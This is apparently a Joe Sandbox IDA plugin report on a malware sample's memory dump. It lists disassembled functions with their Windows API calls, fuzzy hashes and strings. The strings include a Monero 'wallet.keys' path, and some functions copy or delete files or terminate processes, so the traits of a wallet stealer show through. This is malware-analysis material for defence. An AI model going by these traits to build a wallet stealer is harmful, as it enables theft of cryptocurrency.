Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: cf93cb6898d96fbc8365155362611e2f3291674f05e50852cd0d79df7939fdbb
Instruction ID: 44c4c70fa6eb95facf3bb6b316b7f30b45727ee571a057227a321b3386d6e5e0
Opcode Fuzzy Hash: cf93cb6898d96fbc8365155362611e2f3291674f05e50852cd0d79df7939fdbb
Instruction Fuzzy Hash: FD614071A00258EBDB24EFA4DCA6FED7775BF44300F448118F90A5F181EB786A45EB92

Function 00F26920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00F2696C
sscanf.NTDLL ref: 00F26999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00F269B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00F269C0
ExitProcess.KERNEL32 ref: 00F269DA

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 7ebfa2ee1118da45fa98185618789565f2fd482ce58f182f09d5e78345464f7c
Instruction ID: 260d95a54584791cad8dba02bf4a8955ba1c16007f5e950ca1aba0e95ba5dcdd
Opcode Fuzzy Hash: 7ebfa2ee1118da45fa98185618789565f2fd482ce58f182f09d5e78345464f7c
Instruction Fuzzy Hash: AD21EB75D00218EBCF08EFE4E9459EEB7B9FF48300F04852AE416E3244EB345644CB65

Function 00F29260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0089DCE8,?,?,?,00F2140C,?,0089DCE8,00000000), ref: 00F2926C
lstrcpyn.KERNEL32(0115AB88,0089DCE8,0089DCE8,?,00F2140C,?,0089DCE8), ref: 00F29290
lstrlen.KERNEL32(?,?,00F2140C,?,0089DCE8), ref: 00F292A7
wsprintfA.USER32 ref: 00F292C7

Strings

%s%s, xrefs: 00F292B5

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: ed5783dcce4c3c2bcbdf8aaba690ee00ac3244554e480e1a85ea506819144e22
Instruction ID: 7d2b85848956db8c852531198d65b77435799e7f83118c20276f5ba807dbe8cc
Opcode Fuzzy Hash: ed5783dcce4c3c2bcbdf8aaba690ee00ac3244554e480e1a85ea506819144e22
Instruction Fuzzy Hash: A501E975940208FFCB08DFE8E984EAE7BB9FF44350F108648F91997204C671AA40DBA0

Function 00F26630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00F26663

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

ShellExecuteEx.SHELL32(0000003C), ref: 00F26726
ExitProcess.KERNEL32 ref: 00F26755

Strings

<, xrefs: 00F266D9

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 7ef6629379f55169b87c2d1e3db8974c7d341adb77f7004f03acd938cff531ba
Instruction ID: 712dfbae8964dcb223d79cf01f11885fae62b2e56d3b5598efbbc54c5871bd2c
Opcode Fuzzy Hash: 7ef6629379f55169b87c2d1e3db8974c7d341adb77f7004f03acd938cff531ba
Instruction Fuzzy Hash: C0310FB1801228ABDB14EB90EC96FDD7778AF44300F404199F31567191DF786B89DF55

Function 00F287C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00F30E28,00000000,?), ref: 00F2882F
RtlAllocateHeap.NTDLL(00000000), ref: 00F28836
wsprintfA.USER32 ref: 00F28850

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Strings

%dx%d, xrefs: 00F28847

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 3e327cc30c5db57bdae98dd82bda0aec517e45ca2d417d30069e2d31c2a7427f
Instruction ID: febcbe5e216f152a17cb8446be95a2d1a4bff1653d31b7f5788be11020393c88
Opcode Fuzzy Hash: 3e327cc30c5db57bdae98dd82bda0aec517e45ca2d417d30069e2d31c2a7427f
Instruction Fuzzy Hash: CD2100B2A40308EFDB14DF94ED45FAEBBB8FF48711F104219F615A7284C77999418BA1

Function 00F28D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00F2951E,00000000), ref: 00F28D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00F28D62
wsprintfW.USER32 ref: 00F28D78

Strings

%hs, xrefs: 00F28D6F

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 9c6e69ba95488eb290873cc4033a6ab409220b0b90df14f2df14c2fc558ec705
Instruction ID: 210874f5eab2d351acefb227b201edb187bf3018df41a18ab759c4b25c2a9f86
Opcode Fuzzy Hash: 9c6e69ba95488eb290873cc4033a6ab409220b0b90df14f2df14c2fc558ec705
Instruction Fuzzy Hash: BFE08670A80308FBC714DB94E809E5977B8EF04702F000164FD0987240D9719E409B51

Function 00F1D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

Part of subcall function 00F28B60: GetSystemTime.KERNEL32(00F30E1A,00899A28,00F305AE,?,?,00F113F9,?,0000001A,00F30E1A,00000000,?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F28B86

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00F1D481
lstrlen.KERNEL32(00000000), ref: 00F1D698
lstrlen.KERNEL32(00000000), ref: 00F1D6AC
DeleteFileA.KERNEL32(00000000), ref: 00F1D72B

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: fc23fa9421efe1b1c503cd654f203d86a78f51eb062d312fb71034003727e36e
Instruction ID: 8d4263baf61a4d937b0ae345c43a0a13313d3a7939a8e425a5c782380a338d99
Opcode Fuzzy Hash: fc23fa9421efe1b1c503cd654f203d86a78f51eb062d312fb71034003727e36e
Instruction Fuzzy Hash: 419123728101289BDB18FBA0FC92DEE7338AF54300F504169F517B7091EF386A49EB62

Function 00F23560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: bf8cb8006d94e2b5733ce961c7aa9b91a71c48429ef1fde39de31564a44b9b44
Instruction ID: 8e7d922d741797fdc8888ff1d8a9e723875c072c034078a0312d63d8afa4a233
Opcode Fuzzy Hash: bf8cb8006d94e2b5733ce961c7aa9b91a71c48429ef1fde39de31564a44b9b44
Instruction Fuzzy Hash: 894140B1D10219EFCB04EFA4EC55EEEB778AF44314F008419E41677280DB389A05EFA2

Function 00F294D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00F294EB

Part of subcall function 00F28D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00F2951E,00000000), ref: 00F28D5B
Part of subcall function 00F28D50: RtlAllocateHeap.NTDLL(00000000), ref: 00F28D62
Part of subcall function 00F28D50: wsprintfW.USER32 ref: 00F28D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 00F295AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 00F295C9
CloseHandle.KERNEL32(00000000), ref: 00F295D6

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
